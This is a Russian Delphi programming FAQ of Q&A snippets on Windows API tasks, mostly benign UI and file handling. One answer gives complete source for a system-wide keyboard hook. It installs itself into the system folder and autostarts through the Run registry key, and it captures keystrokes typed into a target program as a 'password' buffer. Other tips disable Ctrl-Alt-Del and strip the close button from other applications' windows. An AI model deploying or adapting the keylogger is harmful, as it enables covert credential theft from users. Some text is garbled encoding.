Bitmap.SaveToFile('c:\picture.bmp');

Icon.Free;

Bitmap.Free;

end;

Q: Как умертвить PC Speaker?

A: Это выключит спикеp:

SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);

Это включит:

SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);

Q: Как создавать ярлыки на рабочем столе?

A:

function CreateShortcut(const CmdLine, Args, WorkDir, LinkFile: string):

IPersistFile;

var

MyObject : IUnknown;

MySLink : IShellLink;

MyPFile : IPersistFile;

WideFile : WideString;

begin

MyObject := CreateComObject(CLSID_ShellLink);

MySLink := MyObject as IShellLink;

MyPFile := MyObject as IPersistFile;

with MySLink do

begin

SetPath(PChar(CmdLine));

SetArguments(PChar(Args));

SetWorkingDirectory(PChar(WorkDir));

end;

WideFile := LinkFile;

MyPFile.Save(PWChar(WideFile), False);

Result := MyPFile;

end;

procedure CreateShortcuts;

var Directory, ExecDir: String;

MyReg: TRegIniFile;

begin

MyReg := TRegIniFile.Create(

'Software\MicroSoft\Windows\CurrentVersion\Explorer');

ExecDir := ExtractFilePath(ParamStr(0));

Directory := MyReg.ReadString('Shell Folders', 'Programs', '') + '\' +

ProgramMenu;

CreateDir(Directory);

MyReg.Free;

CreateShortcut(ExecDir + 'Autorun.exe', '', ExecDir,

Directory + '\Demonstration.lnk');

CreateShortcut(ExecDir + 'Readme.txt', '', ExecDir,

Directory + '\Installation notes.lnk');

CreateShortcut(ExecDir + 'WinSys\ivi_nt95.exe', '', ExecDir,

Directory + '\Install Intel Video Interactive.lnk');

end;

Q: Как из программы переключать языки?

A:

Здесь переключатели на русский и на английский.

procedure SetRU;

var

Layout: array[0.. KL_NAMELENGTH] of char;

begin

LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE);

end;

procedure SetEN;

var

Layout: array[0.. KL_NAMELENGTH] of char;

begin

LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);

end;

Q: Как удалить файл в корзину (Recycle Bin)?

A:

program del;

uses

ShlObj;

//function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;

Var T:TSHFileOpStruct;

P:String;

begin

P:='C:\Windows\System\EL_CONTROL.CPL';

With T do

Begin

Wnd:=0;

wFunc:=FO_DELETE;

pFrom:=Pchar(P);

fFlags:=FOF_ALLOWUNDO

End;

SHFileOperation(T);

End.

Q: Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали?

A:

1. Вставить в тело цикла: Application.ProcessMessages

2. Запустить этот цикл как отдельный процесс, используя класс TThread.

Q: Есть ли функция, выполняющая пpеобpазование пеpеменной real в integer?

A: Hа самом деле есть две функции Round и Trunc (округление и

отсечение дробной части соответственно).

Q: Подскажите как правильно показать на экpане и сохранить в базе картинку формата JPEG?

A: Я делал так (это кусок компонента):

if Picture.Graphic is TJPegImage then

begin

bs:=TBlobStream.Create(TBlobField(Field),bmWrite);

Picture.Graphic.SaveToStream(bs);

bs.Free;

end

else if Picture.Graphic is TBitmap then

begin

Jpg:=TJPegImage.Create;

Jpg.CompressionQuality:=...;

Jpg.PixelFormat:=...;

Jpg.Assign(Picture.Graphic);

Jpg.JPEGNeeded;

bs:=TBlobStream.Create(TBlobField(Field),bmWrite);

Jpg.SaveToStream(bs);

bs.Free;

Jpg.Free;

end else Field.Clear;

Q: Popup в зависимости от позиции мышки?

A: Я нуждаюсь в показать popup меню когда пользователь прекратит выделять текст в TMemo. Проблема в том, что я не могу определить координаты мышки так, как я хочу вызвать меню именно в позиции в которой пользователь отпустил клавишу мышки.

procedure TForm1.Memo1MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var ClientPoint,ScreenPoint: TPoint;

begin

if Memo1.SelLength>0 then

begin

ClientPoint.X := X;

ClientPoint.Y := Y;

ScreenPoint := ClientToScreen (ClientPoint);

PopupMenu1.Popup (ScreenPoint.X, ScreenPoint.Y);

end;

end;

Q: Как из программы без особых усилий открыть некий URL или отправить кому-либо по электронной почте письмо?

A: ShellExecute("mailto:writer@coolware.com");

ShellExecute("http://coolware.com");

Q: Вставить текст в MEMO?

A: для вставки строки в memo :

procedure TForm1.Button1Click(Sender: TObject);

begin

with Memo1 do begin

SelStart:=10;

SelLength:=0;

SelText:='This is a string inserted into a memo, at 10th char position ';

end;

end;

для вставки и замены:

procedure TForm1.Button1Click(Sender: TObject);

begin

with Memo1 do begin

SelStart:=10;

SelLength:=20;

SelText:='This is a string inserted, at 10th char position replacing 20 chars ';

end;

end;

Q: Вызов метода Hint напрямую?

A: function RevealHint (Control: TControl): THintWindow;

{Показать окно Hint для указанного Control, и убрать его в методе RemoveHint.}

var

ShortHint: string;

AShortHint: array[0..255] of Char;

HintPos: TPoint;

HintBox: TRect;

begin

Result := THintWindow.Create(Control); { создать лкно для Hint }

ShortHint := GetShortHint(Control.Hint); { получить левую часть - до знака '|': }

HintPos := Control.ClientOrigin;

Inc(HintPos.Y, Control.Height + 6); <<<< See note below

HintBox := Bounds(0, 0, Screen.Width, 0);

DrawText(Result.Canvas.Handle,

StrPCopy(AShortHint, ShortHint), -1, HintBox,

DT_CALCRECT or DT_LEFT or DT_WORDBREAK or DT_NOPREFIX);

OffsetRect(HintBox, HintPos.X, HintPos.Y);

Inc(HintBox.Right, 6);

Inc(HintBox.Bottom, 2);

{ Now show the window: }

Result.ActivateHint(HintBox, ShortHint);

end; {RevealHint}

procedure RemoveHint (var Hint: THintWindow);

{Убрать окно Hint ранее открытое в функции RevealHint.}

begin

Hint.ReleaseHandle;

Hint.Free;

Hint := nil;

end; {RemoveHint}

Q: Добавить #0 в паскалевскую строку?

A:

var

S : string ;

begin

S := 'This is the string to pass' + #0 ;

SomeAPICall( @S[1] ) ;

Q: Загрузить bitmap из .res без потери палитры?

A: procedure loadgraphic(naam:string);

var

{ I've moved these in here, so they exist only during the lifetime of the procedure. }

HResInfo: THandle;

BMF: TBitmapFileHeader;

MemHandle: THandle;

Stream: TMemoryStream;

ResPtr: PByte;

ResSize: Longint;

null:array [0..8] of char;

begin

{ In this first part, you are retrieving the bitmap from the resource.

The bitmap that you retrieve is almost, but not quite, the same as a

.BMP file (complete with palette information). }

strpcopy (null, naam);

HResInfo := FindResource(HInstance, null, RT_Bitmap);

ResSize := SizeofResource(HInstance, HResInfo);

MemHandle := LoadResource(HInstance, HResInfo);

ResPtr := LockResource(MemHandle);

{ Think of a MemoryStream almost as a "File" that exists in memory.

With a Stream, you can treat either the same way! }

Stream := TMemoryStream.Create;

try

Stream.SetSize(ResSize + SizeOf(BMF));

{ Next, you effectively create a .BMP file in memory by first writing the header (missing from the resource, so you add it)... }

BMF.bfType := $4D42;

Stream.Write(BMF, SizeOf(BMF));

{ Then the data from the resource. Now the stream contains a .BMP file }

Stream.Write(ResPtr^, ResSize);

{ So you point to the beginning of the stream... }

Stream.Seek(0, 0);

{ ...and let Delphi's TBitmap load it in }

Bitmap:=tbitmap.create;

Bitmap.LoadFromStream(Stream);

{ At this point, you are done with the stream and the resource. }

finally

Stream.Free;

end;

FreeResource(MemHandle);

end;

Q: Загрузка bitmap из .RES файла?

A: Включите в ваше приложение следующую директиву {$R RESFILENAME.RES} и затем используйте фунцию LoadBitmap.

TImage.Picture.Bitmap.Handle := LoadBitmap( Handle, 'BITMAPNAMEHERE' )

Q: Замена Tab на Enter?

A: === 1 ===

(SV):

Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном

компоненте), уберите обработчики события у всех компонент и создайте

FormKeyPress -- обработчик OnKeyPress для формы:

procedure Form1.OnKeyPress(Sender : TObject; var Key : char);

begin

if Key = #13 then begin

SelectNext(Sender as TWinControl, true, true);

Key := #0;

end;

end;

=== 2 ===

(AnSa): Давно хотелось высказаться по поводy этого способа. Во-пеpвых, нyжно

выставлять y фоpмы KeyPreview = True. Во-втоpых, если на фоpмy поместить

default-кнопкy, то никакого пеpемещения фокyса не бyдет.

Q: Как вставить в StatusPanel свои компоненты, например ProgressBar?

A: pgProgress положить на форму как Visible := false;

StatusPanel надо OwnerDraw сделать и pефpешить, если Position меняется.

procedure TMainForm.stStatusBarDrawPanel(StatusBar: TStatusBar;

Panel: TStatusPanel; const Rect: TRect);

begin

if Panel.Index = pnProgress then

begin

pgProgress.BoundsRect := Rect;

pgProgress.PaintTo(stStatusBar.Canvas.Handle, Rect.Left, Rect.Top);

end;

end;

Q: Как вставить компонент в TabbedNotebook в run-time?

A: Для этого надо воспользоваться TabbedNoteBook.Pages:

var

NewButton : TButton;

i : integer;

begin

NewButton := TButton.Create(Self);

NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[i]);

end;

Аналогичным образом можно поменять надпись на закладке страницы:

TabbedNotebook1.Pages.Strings[i]:='My Page caption';

Q: Как вставить компонент в форму в run-time?

A: Для добавления компоненты в форму в run-time требуется выполнить следующие шаги:

1) объявите переменную типа Вашей компоненты:

var

RTlabel : TLabel;

2) требуется учесть тот факт, что если у компоненты определен Owner,то компонента будет уничтожаться вместе с ним, в противном случае,Вам придется это делать вручную, вызывая ее метод Free. В качестве Parent Вы должны присвоить ту форму (или компоненту), в которую требуется вставить Ваш run-time элемент.

begin

RTlabel:=TLabel.Create(MyOwner);

RTlabel.Parent:=MyParent; { в методе формы - RTlabel.Parent:=Self }

RTlabel.Caption:='Run-time instance of TLabel';

RTlabel.Visible:=true;

end;

Q: Как вывести на Canvas надпись под углом?

A: function CreateRotatedFont(F : TFont; Angle : Integer) : hFont;

{-create a rotated font based on the font object F}

var

LF : TLogFont;

begin

FillChar(LF, SizeOf(LF), #0);

with LF do begin

lfHeight := F.Height;

lfWidth := 0;

lfEscapement := Angle*10;

lfOrientation := 0;

if fsBold in F.Style then

lfWeight := FW_BOLD

else

lfWeight := FW_NORMAL;

lfItalic := Byte(fsItalic in F.Style);

lfUnderline := Byte(fsUnderline in F.Style);

lfStrikeOut := Byte(fsStrikeOut in F.Style);

lfCharSet := DEFAULT_CHARSET;

StrPCopy(lfFaceName, F.Name);

lfQuality := DEFAULT_QUALITY;

{everything else as default}

lfOutPrecision := OUT_DEFAULT_PRECIS;

lfClipPrecision := CLIP_DEFAULT_PRECIS;

case F.Pitch of

fpVariable : lfPitchAndFamily := VARIABLE_PITCH;

fpFixed : lfPitchAndFamily := FIXED_PITCH;

else

lfPitchAndFamily := DEFAULT_PITCH;

end;

end;

Result := CreateFontIndirect(LF);

end;

...

{create the rotated font}

if FontAngle <> 0 then

Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle);

Q: Как выделять стpочки в TTreeView жиpным или бледным?

A: procedure SetNodeState(node :TTreeNode; Flags: Integer);

var

tvi: TTVItem;

begin

FillChar(tvi, Sizeof(tvi), 0);

tvi.hItem := node.ItemID;

tvi.mask := TVIF_STATE;

tvi.stateMask := TVIS_BOLD or TVIS_CUT;

tvi.state := Flags;

TreeView_SetItem(node.Handle, tvi);

end;

И вызываем:

SetNodeState(TreeView1.Selected, TVIS_BOLD); // Текст жиpным

SetNodeState(TreeView1.Selected, TVIS_CUT); // Иконкy бледной

(Ctrl+X)

SetNodeState(TreeView1.Selected, TVIS_BOLD or TVIS_CUT); // Текст жиpным

SetNodeState(TreeView1.Selected, 0); // Hи того, ни

дpyгого

Когда-то (мечтательно закатив глаза в потолок) в API было еще и TVIS_DISABLE.

Снесли собаки. А pекомендyемyю стилистикy yпотpебления этого добpа смотpи в MS

Internet News.

Q: Как вызвать поиск справки?

A: Захотелось тут сделать так, чтобы в приложении вызывался хелп

с окошечком для поиска раздела. Hу короче макрос "Search()" для WinHelp-а.

procedure TForm1.HelpSearchFor;

var

S : String;

begin

S := '';

Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP';

Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S));

end;

Q: Как добавить scroll bar к моему компоненту?

A: Вам нужно создать свой собственный класс, который взаимодействует с сообщением CM_DESIGNHITTEST.

TMyScrollBar = class (TScrollBar)

Procedure CMDesignHitTest (var Message : TCMDesignHitTest) ;

Message CM_DESIGNHITTEST ;

End ;

Procedure TMyScrollBar.CMDesignHitTest (var Message : TCMDesignHitTest) ;

Begin

Message.Result := 1;

End ;

Когда нужно создать один или несколько scroll то используйте

TMyScrollBar.Create (Nil)

вместо

TMyScrollBar.Create (Self)

иначе scroll bar будет менять при кликании. Это означает, что вы должны обязательно вызвать метод free в деструкторе вашего компонента самостоятельно.

Q: Как добавить горизонтальную полосу прокрутки в TListBox?

A: Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки.

Полоска прокрутки появляется, когда окно списка слишком мало для показа всех

элементов списка. Однако окно списка не показывает горизонтальной полосы

прокрутки,

когда какие-либо элементы списка имеют большую ширину, чем само окно списка.

Конечно, есть возможность добавить горизонтальную полосу прокрутки.

Добавьте следующий код в обработчик события OnCreate Вашей формы:

procedure TForm1.FormCreate(Sender: TObject);

var

i, MaxWidth: integer;

begin

MaxWidth := 0;

for i := 0 to ListBox1.Items.Count - 1 do

if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then

MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);

SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);

end;

Этот код находит ширину, в пикселах, самой длинной строки в окне списка.

Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки

горизонтальной

прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела

добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна

списка.

Q: Как добавить строки без мигания?

A: BeginUpdate/EndUpdate.

Q: Как запретить клавишу close у любого окна Windows?

A: Следующий пример запрещает клавишу close и сответствующий пункт в системном меню.

procedure TForm1.Button1Click(Sender: TObject);

var

hwndHandle : THANDLE;

hMenuHandle : HMENU;

begin

hwndHandle := FindWindow(nil, 'Untitled - Notepad');

if (hwndHandle <> 0) then

begin

hMenuHandle := GetSystemMenu(hwndHandle, FALSE);

if (hMenuHandle <> 0) then

DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);

end;

end;

Q: Как запретить переключение на другие задачи?

A: Выключить Ctl-alt-del

bool old;

SystemParametersInfo (SPI_SCREENSAVERRUNNING,1,&old,0)

Включить обратно

SystemparametersInfo (SPI_ScreenSaverrunning,0,&old,0)

Q: Как запустить какую-нибудь программу?

A: === 1 ===

A: WinExec() или ShellExecute. У второй больше возможностей.

=== 2 ===

(AY, VB): CreateProcess().

=== 3 ===

(SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE);

=== 3 ===

(AA): Win16: Delay можно взять из rxLib.

=== Cut ===

handle := WinExec(...);

if handle >= 32 then

while GetModuleUsage(handle) > 0 do

Delay( nn );

else

raise ....

=== Cut ===

=== 4 ===

(AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime.

(Win32)

Для принудительного завершения процесса -- TerminateProcess.

(Win16) (RR): Handle:=Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0);

Q: Как изменить внешний вид хинтов (всплывающих подсказок)?

A: 1. Создаем свой класс - потомок от THintWindow

type

TCustomHint = class (THintWindow)

public

constructor Create(AOwner: TComponent); override;

end;

Пpимечание 1. Этот способ не позволит изменить цвет шpифта - для этого

пpидется пеpекpывать метод Paint;

Пpимечание 2. Если пеpекpыть CreateParams, то можно, напpимеp, наpисовать

Hint в фоpме облачка.

Пpимечание 3. Для изменения цвета фона F1 TApplication.OnShowHint, HintInfo.

2. Меняем фонт:

constructor TCustomHint.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

with Canvas.Font do // Именно так, а не пpосто Font!

begin

Name := 'Times New Roman Cyr';

Style := [fsBold, fsItalic];

Size := 40;

end;

end;

3. Устанавливаем новый хинт

procedure TForm1.FormCreate(Sender: TObject); // Это может быть любой

begin // обpаботчик

HintWindowClass := TMyHint; // Устанавливаем глобальную пеpеменную

Application.ShowHint := false; // Application.FHintWindow.Free

Application.ShowHint := true; // Application.FHintWindow.Create

end;

Литеpатуpа:

1. <...>\Source\VCL\Forms.pas (TApplication).

2. <...>\Source\VCL\Controls.pas (THintWindow).

3. Delphi Help (OnShowHint, THintInfo).

Q: Как использовать свои курсоры в программе?

A: {$R CURSORS.RES}

const

crZoomIn = 1;

crZoomOut = 2;

Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN');

Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT');

Q: Как копиpовать файлы?

A: === 1 ===

procedure CopyFile(const FileName, DestName: TFileName);

var

CopyBuffer: Pointer; { buffer for copying }

TimeStamp, BytesCopied: Longint;

Source, Dest: Integer; { handles }

Destination: TFileName; { holder for expanded destination name }

const

ChunkSize: Longint = 8192; { copy in 8K chunks }

begin

Destination := ExpandFileName(DestName); { expand the destination path }

if HasAttr(Destination, faDirectory) then { if destination is a directory...

}

Destination := Destination + '\' + ExtractFileName(FileName); { ...clone

file name }

TimeStamp := FileAge(FileName); { get source's time stamp }

GetMem(CopyBuffer, ChunkSize); { allocate the buffer }

try

Source := FileOpen(FileName, fmShareDenyWrite); { open source file }

if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError,

[FileName]));

try

Dest := FileCreate(Destination); { create output file; overwrite existing

}

if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError,

[Destination]));

try

repeat

BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk

}

if BytesCopied > 0 then { if we read anything... }

FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }

until BytesCopied < ChunkSize; { until we run out of chunks }

finally

FileClose(Dest); { close the destination file }

{ SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp

}{!!!}

end;

finally

FileClose(Source); { close the source file }

end;

finally

FreeMem(CopyBuffer, ChunkSize); { free the buffer }

Текст: D:\DELPHI\WORK\ID_LIB.PAS Ст. 0

end;

FileSetDate(Dest,FileGetDate(Source));

end;

Anton Kartamyshev

(2:5020/211.15)

=== 2 ===

function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;

var

InFS,OutFS: TFileStream;

begin

InFS := TFileStream.Create( InFile, fmOpenRead );

OutFS := TFileStream.Create( OutFile, fmCreate );

InFS.Seek( From, soFromBeginning );

Result := OutFS.CopyFrom( InFS, Count );

InFS.Free;

OutFS.Free;

end;

try..except pасставляются по вкусу, а навоpоты вpоде установки

атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны

они в основном никогда.

Q: Как локализовать ресурсы какого-либо пакета (runtime package)?

A: Вот, случайно набpели в хэлпе. Если нужно изменить pесуpсы какого-либо модуля, то это можно делать с помощью нехитpой опеpации:

1) Вынимаете pесуpсы из этого модуля.

2) Пеpеводите их на дpугой язык. (напpимеp pусский)

3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы вынули pесуpсы, напpимеp vcl30), в котоpый включаете _пеpеведенные_ pесуpсы:

{$R vcl30rus.res}

4) Собиpаете все это.

5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.

Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в pегиональных установках стоит Russia - то тогда это все. Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы, то необходимо сделать следующее добавление в Registry:

HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales

"X:\MyProject\MyApp.exe" = "rus"

Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться pусские pесуpсы. Дpугие пpиложения, напpимеp Delphi - это не затpонет. Таким обpазом можно заменять даже DFM-ки из пpоекта.

Более подpобно об этом - см Help - Index - Localizing...

Q: Как мне запрограммировать непрямоугольную форму?

A: === 1 ===

(ArAs): SetWindowRgn(); (только Win32).

=== 2 ===

(AV): Есть компонент TFormShaper, free for noncommercial use:

http://www.wirtschaft.tu-ilmenau.de/~aeg/

=== 3 ===

(AM:) (Win32) Пример кода, создающий эллиптическую форму, которую к тому же

можно двигать за любую точку, что демонстрирует обработку сообщения

WM_NCHITTEST:

unit main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

rgn : HRGN;

procedure WMNCHitTest(var Message : TWMNCHitTest); message WM_NCHITTEST;

protected

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

rgn := CreateEllipticRgn(0, 0, Width, Height);

SetWindowRgn(Handle, rgn, True);

end;

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);

begin

if PtInRegion(rgn, Message.XPos, Message.YPos) then

Message.Result := HTCAPTION

else

Message.Result := HTNOWHERE;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

DeleteObject(rgn);

end;

end.

=== 4 ===

(DK:) Hадо задать форме стиль окна WS_EX_TRANSPARENT. Тогда будут рисоваться

только лежащие на ней контролы.

Вот пример кода:

type

TForm1 = class(TForm)

{ ... }

protected

procedure CreateParams(var Params : TCreateParams); override;

end;

procedure TForm1.CreateParams(var Params : TCreateParams);

begin

inherited CreateParams(Params);

{ форма становится прозрачной }

Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;

end;

end;

Q: Как назначить иконку для компонента?

A: === 1 ===

Если вы имеете в виду иконку на палитре компонентов, то создайте bitmap в ресурсном файле с расширением .dcr.Размер должен быть 24 на 24 пикселя

=== 2 ===

IMPORTANT NOTE

================

Несмотря на то, что документация по Дельфи говорит, что имя ресурса не является чуствительным к регистру букв

"The resource names are not case-sensitive, but by convention, they are usually in upper case letters".

на самом деле, это работает только если имя указано ЗАГЛАВНЫМИ буквами

=== 2 ===

Примечание 3

имя иконки должно быть тоже самое, что и у компонента

Q: Как обнаружить смену фокуса в TDBGrid?

A: Вы можете использовать метод OnDataChange компонента Datasource к которому подсоединен DBGrid. Если свойство State равно dsBrowse то это означает переход на другую строки (или открытие таблицы).

Почему нет этого события у самого dbGrid? Потому что grid не единственный компонент в который используется для показа данных из таблицы. Использование Datasource обеспечивает централизованное управление данным событием.

Q: Как ограничить перемещение курсора мыши какой-либо областью экрана?

A: ClipCursor()

Q: Как определить, установлена звуковая карта или нет?

A: Через MultiMedia API йункцией WaveOutGetNumDevs().

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);

begin

if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed')

else ShowMessage('Sound Card is not installed')

end;

Q: Как отловить нажатия клавиш для всех процессов в системе?

A: Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;

uses Windows, Dialogs;

var

hinstDLL: HINST;

hkprcKeyboard: TFNHookProc;

msg: TMsg;

begin

hinstDLL := LoadLibrary('HookAgnt.dll');

hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

repeat until not GetMessage(msg, 0, 0, 0);

end.

=== Cut ===

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports

KeyboardProc;

var

hFileMappingObject: THandle;

fInit: Boolean;

{----------------------------\

| |

| DLL_PROCESS_DETACH |

| |

\----------------------------}

procedure DLLMain(Reason: Integer);

begin

if Reason = DLL_PROCESS_DETACH then

begin

UnmapViewOfFile(lpvMem);

CloseHandle(hFileMappingObject);

end;

end;

{----------------------------\

| |

| DLL_PROCESS_ATTACH |

| |

\----------------------------}

begin

DLLProc := @DLLMain;

hFileMappingObject := CreateFileMapping(

THandle($FFFFFFFF), // use paging file

nil, // no security attributes

PAGE_READWRITE, // read/write access

0, // size: high 32 bits

4096, // size: low 32 bits

'HookAgentShareMem' // name of map object

);

if hFileMappingObject = INVALID_HANDLE_VALUE then

begin

ExitCode := 1;

Exit;

end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(

hFileMappingObject, // object to map view of

FILE_MAP_WRITE, // read/write access

0, // high offset: map from

0, // low offset: beginning

0 // default: map entire file

);

if lpvMem = nil then

begin

CloseHandle(hFileMappingObject);

ExitCode := 1;

Exit;

end;

if fInit then

FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

unit KeyboardHook;

interface

uses Windows;

{------------------------------------------\

| |

| +ыюсры#эvх яхЁхьхээvх ш ъюэё?рэ?v |

| |

\------------------------------------------}

const

PASSWORDSIZE = 16;

var

g_hhk: HHOOK;

g_szKeyword: array[0..PASSWORDSIZE-1] of char;

lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT;

var

szModuleFileName: array[0..MAX_PATH-1] of Char;

szKeyName: array[0..16] of Char;

lpszPassword: PChar;

begin

lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then

begin

GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

lstrcat(g_szKeyword, szKeyName);

GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

> if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_

АДО__') <> nil) and

(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then

begin

ShowMessage(lpszPassword);

g_szKeyword[0] := #0;

end;

Result := 0;

end

else

Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

Q: Как отменить вставку в TreeView по ESC?

A: unit BetterTreeView;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ComCtrls, CommCtrl;

type

TTVNewEditCancelEvent = procedure( Sender: TObject;

Node: TTreeNode; var Delete: Boolean) of object;

TBetterTreeView = class(TTreeView)

protected

FIsEditingNew: Boolean;

FOnEditCancel: TTVChangedEvent;

FOnNewEditCancel: TTVNewEditCancelEvent;

procedure Edit(const Item: TTVItem); override;

public

function NewChildAndEdit(Node: TTreeNode; const S: String)

: TTreeNode;

published

property IsEditingNew: Boolean read FIsEditingNew;

property OnEditCancel: TTVChangedEvent

read FOnEditCancel write FOnEditCancel;

property OnNewEditCancel: TTVNewEditCancelEvent

read FOnNewEditCancel write FOnNewEditCancel;

end;

implementation

procedure TBetterTreeView.Edit(const Item: TTVItem);

var

Node: TTreeNode;

Action: Boolean;

begin

with Item do begin

{ Get the node }

if (state and TVIF_PARAM) <> 0 then

Node := Pointer(lParam)

else

Node := Items.GetNode(hItem);

if pszText = nil then begin

if FIsEditingNew then begin

Action := True;

if Assigned(FOnNewEditCancel) then

FOnNewEditCancel(Self, Node, Action);

if Action then

Node.Destroy

end

else

if Assigned(FOnEditCancel) then

FOnEditCancel(Self, Node);

end

else

inherited;

end;

FIsEditingNew := False;

end;

function TBetterTreeView.NewChildAndEdit

(Node: TTreeNode; const S: String): TTreeNode;

begin

SetFocus;

Result := Items.AddChild(Node, S);

FIsEditingNew := True;

Node.Expand(False);

Result.EditText;

SetFocus;

end;

end.

Q: Как переместить файл или папку?

A: Вы можете использовать функцию MoveFile() из Windows API для пермещения файла или папки. Если вы перемещаете файл, то он должен отсуствовать в папке назначения. Если вы перемещаете папку, все папки в данной папке также перемещаются.

Пример 1 - премещение файла:

MoveFile('C:\Source\sourcefile.txt','C:\Dest\destfile.txt');

Пример 2 - премещение папки:

MoveFile('C:\Source','C:\Dest');

Q: Как пересчитать все Calculated Fields без переоткрытия TDataSet?

A: Resync([rmExact, rmCenter])

Q: Как перемещать визуальные компоненты?

A: Пример:

{ В случае Panel1:TPanel - обработчик события OnMouseDown }

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

const

SC_DragMove = $F012; { a magic number }

begin

ReleaseCapture;

panel1.perform(WM_SysCommand, SC_DragMove, 0);

end;

Пример 2:

procedure TForm1.Button1MouseDown(Sender: TObject; Button:

TMouseButton; Shift: TShiftState; X, Y: Integer);

{$IFNDEF WIN32}

var

pt : TPoint;

{$ENDIF}

begin

if ssCtrl in Shift then begin

ReleaseCapture;

SendMessage(Button1.Handle, WM_SYSCOMMAND, 61458, 0);

{$IFNDEF WIN32}

GetCursorPos(pt);

SendMessage(Button1.Handle,

WM_LBUTTONUP,

MK_CONTROL,

Longint(pt));

{$ENDIF}

end;

end;

Q: Как подключать сетевые диски?

A: var nw:TNetResource;

...

nw.dwType:=RESOURCETYPE_DISK;

nw.lpLocalName:=nil;

nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL');

nw.lpProvider:=nil;

if MailServer.Password<>'' then

Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0)

else

